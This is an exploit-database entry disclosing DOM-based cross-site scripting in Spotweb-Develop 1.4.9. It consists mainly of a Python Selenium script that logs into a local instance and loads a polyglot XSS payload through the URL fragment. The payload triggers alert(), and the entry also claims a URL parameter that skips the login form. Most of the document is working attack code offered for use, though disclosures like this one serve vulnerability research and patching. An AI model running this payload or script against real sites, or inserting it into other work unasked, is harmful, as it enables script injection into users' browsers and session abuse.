Spotweb-Develop 1.4.9 Cross Site Scripting

2021.05.21
Credit: nu11secur1ty
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: Cross Site Scripting (DOM Based) spotweb-develop 1.4.9 # Author: @nu11secur1ty # Testing and Debugging: nu11secur1ty $ OWASP-ZAP # Date: 05.20.2021 # Vendor: https://www.nzbserver.com/ # Link: https://github.com/spotweb/spotweb # CVE: 2021-XXXX # Proof: https://streamable.com/hix5o1 [+] Exploit Source: #!/usr/bin/python3 # Author: @nu11secur1ty # CVE-2021-XXXX from selenium import webdriver import time import os, sys # Vendor: https://www.nzbserver.com/ # Jump over login form :D website_link=" http://192.168.1.160/spotweb-develop/?page=login&data[htmlheaderssent]=true" # enter your login username username="nu11secur1ty" # enter your login password password="password" #enter the element for username input field element_for_username="loginform[username]" #enter the element for password input field element_for_password="loginform[password]" #enter the element for submit button element_for_submit="loginform[submitlogin]" #browser = webdriver.Safari() #for macOS users[for others use chrome vis chromedriver] browser = webdriver.Chrome() #uncomment this line,for chrome users #browser = webdriver.Firefox() #uncomment this line,for chrome users time.sleep(3) browser.get((website_link)) try: username_element = browser.find_element_by_name(element_for_username) username_element.send_keys(username) password_element = browser.find_element_by_name(element_for_password) password_element.send_keys(password) signInButton = browser.find_element_by_name(element_for_submit) signInButton.click() # Exploit Cross Site Scripting (DOM Based) # Payload: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e time.sleep(1) # Payload link "esc-rule" browser.get((" http://192.168.1.160/spotweb-develop#jaVasCript:/*-/*`/*\`/*'/*"'/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'"")) print("The payload is deployed DOM is BOMing you ':))'...\n") os.system('pause') browser.close() except Exception: #### This exception occurs if the element are not found in the webpage. print("DOM...") --------------------------------- # Exploit Title: Cross Site Scripting (DOM Based) spotweb-develop 1.4.9 # Date: 05.20.2021 # Exploit Authotr idea: nu11secur1ty # Exploit Debugging: nu11secur1ty & OWASP-ZAP # Vendor Homepage: https://www.nzbserver.com/ # Software Link: https://github.com/spotweb/spotweb/releases # Steps to Reproduce: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-SPOTWEB-SXX-DOM


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